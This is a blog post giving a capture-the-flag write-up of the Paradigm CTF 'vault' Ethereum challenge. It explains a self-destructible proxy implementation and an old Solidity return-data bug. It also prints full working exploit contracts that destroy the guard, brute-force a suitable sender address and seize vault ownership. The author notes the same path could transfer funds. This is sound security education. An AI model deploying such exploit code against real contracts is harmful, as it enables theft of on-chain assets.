securityctfsmart contractsethereum

Writeup of Paradigm CTF: Vault

by Steve Marx on

Last weekend, I participated in the Paradigm CTF, a security capture the flag game around Ethereum smart contract security.

I was part of a team consisting mostly of employees from ConsenSys Quilt and ConsenSys Diligence, where I used to work as a security engineer. The competition was fun, and our team won!

I didn’t get much of a chance to collaborate with the rest of the team, but I did solve three of the challenges on my own. In this post, I’ll talk about the challenge called “vault.” I was the first to solve this one, and only three teams managed it before the end of the competition.

If you’re new to Ethereum smart contracts, you probably won’t enjoy this post. You might want to instead read my early post about what a smart contract is. The rest of this post will assume familiarity with the basics of Ethereum smart contract development.

The challenge

The vault challenge is a smart contract system consisting of a bank-like contract called Vault, and a SingleOwnerGuard contract that implements permission checks. The GuardRegistry is largely unimportant. It’s just a layer of indirection for setting up a Guard for the Vault.

The Setup contract sets up the system and defines what you need to do to solve the challenge.

At a high-level:

  • Vault keeps ERC20 tokens safe by using a Guard that controls which users can do which things.
  • SingleOwnerGuard checks permissions. It lets anyone undertake certain public actions and lets only the contract owner undertake other actions.
  • Setup configures the Vault with a SingleOwnerGuard that allows anyone to deposit and withdraw tokens and allows only the Setup contract itself to call other functions.
  • Setup defines an isSolved() function, which returns true once you’ve managed to change the owner of the Vault.

Code walkthrough

Vaults, guards, and proxies

Vault doesn’t directly use an existing Guard or deploy its own. Instead, it makes a proxy contract to an existing deployed Guard. This uses the EIP-1167 Minimal Proxy Contract.

For the unfamiliar, the idea fo EIP-1167 is to save on gas by not having to redeploy the same code over and over. Instead, the implementation code is deployed just once, and each time a copy is needed, only a small proxy is deployed. This proxy uses DELEGATECALL to invoke the code from the implementation contract in the context of the proxy.

The use of DELEGATECALL means that each proxy has its own address, storage, and ether balance, but it gets to reuse code from a central deployment. This saves greatly on deployment costs.

Here’s the code that implements the EIP-1167 proxy, and yes, I checked that the proxy byte code is correct.

// create new guard instance
function createGuard(bytes32 implementation) private returns (Guard) {
    address impl = registry.implementations(implementation);
    require(impl != address(0x00));
    
    if (address(guard) != address(0x00)) {
        guard.cleanup();
    }
    
    guard = Guard(createClone(impl));
    guard.initialize(this);
    return guard;
}

// create eip-1167 clone
function createClone(address target) internal returns (address result) {
    bytes20 targetBytes = bytes20(target);
    assembly {
        let clone := mload(0x40)
        mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
        mstore(add(clone, 0x14), targetBytes)
        mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
        result := create(0, clone, 0x37)
    }
}

Permission checks

Throughout Vault, permission checks are performed by calling checkAccess(), which in turn calls the Guard's implementation of isAllowed(). Here’s an example from a particularly tempting function I wanted to call:

// rescue stuck tokens
function emergencyCall(address target, bytes memory data) public {
    require(checkAccess("emergencyCall"));
    
    require(target.delegatecall(data));
}

// check access
function checkAccess(string memory op) private returns (bool) {
    uint8 error;
    (error, ) = guard.isAllowed(msg.sender, op);
    
    return error == NO_ERROR;
}

SingleOwnerGuard.isAllowed() looks like this:

// check if the sender is the owner, or if the op is public
function isAllowed(address who, string op) external view returns (uint8, uint8) {
    if (who == owner()) return (NO_ERROR, 1);
    
    for (uint i = 0; i < publicOps.length; i++) {
        if (keccak256(publicOps[i]) == keccak256(op)) {
            return (NO_ERROR, 2);
        }
    }
    
    return (PERMISSION_DENIED, 1);
}

publicOps is just an array of the public operations “deposit” and “withdraw” (as configured by Setup), and they’re irrelevant to the vulnerability. The constants NO_ERROR and PERMISSION_DENIED are 0 and 1, respectively.

SingleOwnerGuard initialization and cleanup

Using a proxy means you can’t really use a constructor. This is because the constructor would run in the context of the original, singleton deployed contract, but initialization needs to happen in the context of each proxy.

The SingleOwnerGuard code uses a fairly popular pattern of one-time initialization:

// initialize the proxy instance for the given vault
function initialize(Vault vault_) external {
    require(!initialized);
    
    vault = vault_;
    initialized = true;
}

It also supports destroying an existing proxy via cleanup():

// clean up the proxy instance. must be the vault owner
function cleanup() external {
    require(msg.sender == address(vault));
    require(vault.guard() == this);
    
    selfdestruct(owner());
}

Together, these functions contain a vulnerability almost identical to the famous “I accidentally killed it” incident that effectively destroyed ether worth at least $100 million.

The proxy vulnerability

Although initialize() and cleanup() are meant to be called through proxies, it’s possible to invoke them directly on the implementation SingleOwnerGuard contract. Because that contract was never initialized, I was able to initialize it and set my own contract as its vault, allowing me to later call cleanup() to destroy the contract.

Here’s the contract I wrote to do that:

contract Solve {
    address owner;

    function doit1(Setup setup) external {
        GuardRegistry registry = setup.registry();
        Guard guard = Guard(registry.implementations(registry.defaultImplementation()));
        guard.initialize(Vault(address(this)));
        guard.cleanup();
    }
    
    function guard() external view returns (address) {
        return msg.sender;
    }
}

Note that I needed to implement the guard() function so cleanup() would succeed.

You might be wondering why I would want to do this. Surely, at best, destroying the Guard implementation breaks the Vault because it can’t perform permission checks. But I’ve left out one detail so far: all these contracts are compiled with Solidity 0.4.16.

The uninitialized memory vulnerability

The vulnerability that makes this exploitable is a bit esoteric, but it’s no surprise to see this vulnerability in the Paradigm CTF, and it’s no surprise that I spotted it easily.

The vulnerability is about return data length validation. I wrote a blog post in 2019 about the bug, which was found in the 0x exchange after my team at ConsenSys had audited the code and missed it. Samczsun is the security researcher who found the bug, and, as I understand it, he authored most of the challenges in the Paradigm CTF.

The bug is related to the way external calls were made in earlier versions of Solidity. This is the code in Vault that asks the guard to do a permission check:

// check access
function checkAccess(string memory op) private returns (bool) {
    uint8 error;
    (error, ) = guard.isAllowed(msg.sender, op);
    
    return error == NO_ERROR;
}

The call to guard.isAllowed(msg.sender, op) roughly translates into this low-level pseudo-code:

ptr = free_memory_ptr
args = encode(guard.isAllowed, msg.sender, op)
mem[ptr:ptr+len(args)] = args
retlen = 2     // size of bytes8, bytes8

call(
    guard,     // address
    ptr,       // arguments location
    len(args), // arguments length
    ptr,       // output location
    retlen     // output length    
)

error, code = mem[ptr], mem[ptr+1]

Note that the input and the output locations are the same. The core bug is based on a couple of Ethereum virtual machine (EVM) quirks:

  1. Calls to addresses with no code, such as ones that have been destroyed, succeed without error.
  2. If less than retlen bytes are returned, call does not touch the rest of the memory where the output is supposed to go.

This means that once we’ve destroyed the guard implementation, what ends up in error is just whatever was already there in memory, which is the input data.

Exploiting the vulnerability

The goal is now clear: manipulate the arguments to guard.isAllowed() such that there will be a zero (NO_ERROR) in place when the result is read.

After stepping through the code in the Remix debugger, I saw that the important byte was the 16th byte of msg.sender (the caller’s Ethereum address). This makes sense because the ABI encoding of isAllowed(address, string) starts with the function’s 4-byte selector, followed by the address left-padded to 32 bytes:

function selector
v
ffff000000000000aaaaaaaaaaaaaaa*aaaa...
    ^           ^              ^
    zeros       msg.sender     target byte

When interpreting a return value, a uint8 is encoded as the right-most byte of a 32-byte word. The 32nd byte of the above sequence is the same as the 16th byte of the msg.sender address.

This means we have to manipulate what the address is that’s sending the malicious transaction. It needs to have a zero in just the right spot.

There are three different ways to get an address that has this property:

  1. Generate random private keys until the corresponding Ethereum address (derived from the hash of the public key) has the right byte.
  2. Try a bunch of salts with CREATE2 until one will produce a contract address with the right byte.
  3. Deploy a bunch of contracts (with plain old CREATE) until one has an address with the right byte.

The first and second methods have the advantage of being purely local. You don’t need to deploy anything to do it, as you’re just doing some math until you find what you’re looking for.

So of course I went for the third method. It seemed like the easiest to do quickly, and I knew that on average I would only need 256 deploys to find a working address.

Putting it all together

Here was my final exploit code:

pragma solidity 0.4.16;

import "./Setup.sol";

contract Caller {
    function doit(Vault vault) {
        vault.emergencyCall(msg.sender, new bytes(0));
    }
}

contract Solve {
    address owner;

    function doit1(Setup setup) external {
        GuardRegistry registry = setup.registry();
        Guard guard = Guard(registry.implementations(registry.defaultImplementation()));
        guard.initialize(Vault(address(this)));
        guard.cleanup();
    }
    
    function doit2(Setup setup) external {
        Caller caller;
        while (true) {
            caller = new Caller();
            if (bytes20(address(caller))[15] == 0) {
                break;
            }
        }
        caller.doit(setup.vault());
    }
    
    function guard() external view returns (address) {
        return msg.sender;
    }
    
    function() external {
        owner = address(0);
    }
}

doit2() is what finds a good sender address. It just keeps deploying Caller contracts until one has a zero in the 16th byte. Then it calls doit() on that contract, which in turn invokes the vault’s emergencyCall() function.

// rescue stuck tokens
function emergencyCall(address target, bytes memory data) public {
    require(checkAccess("emergencyCall"));
    
    require(target.delegatecall(data));
}

Because the msg.sender has a zero in the 16th byte, the access check passes, and the vault does a DELEGATECALL back into target, which is the original Solve contract. There, the fallback function is invoked, and owner is set to address(0). This satisfies the condition in Setup that recognizes an owner change as a solution to the challenge, but of course any state change would be possible here, including transferring funds to an attacker’s account, etc.

It sounds complicated…

If you’re not deep into Ethereum smart contracts (or even if you are), this vulnerability may sound quite scary. How can there be hope for secure smart contracts when surprising compiler and VM quirks abound?

Having worked professionally as a smart contract security auditor, I’m qualified to answer this question three different ways:

  1. Smart contract complexity tends to push the boundaries of what is verifiably safe. It’s right to be skeptical of relying on very complex systems to handle assets of significant value. Prefer simpler solutions where possible, even if they’re more expensive or less flexible.
  2. Modern Solidity code just doesn’t have this bug. CALL is no longer used in this way. RETURNDATASIZE and RETURNDATACOPY opcodes were added, and those are now used to safely read return data from an external call.
  3. Smart contract audits work! Analysis tools can catch bugs like this one, and human audits routinely do. Spotting this bug took me less than 30 minutes.

It’s important to choose a good smart contract auditing team. I can wholeheartedly recommend my former team, ConsenSys Diligence. I even still do occasional contract work for them when I have time!

Me. In your inbox?

Admit it. You're intrigued.

Subscribe

Related posts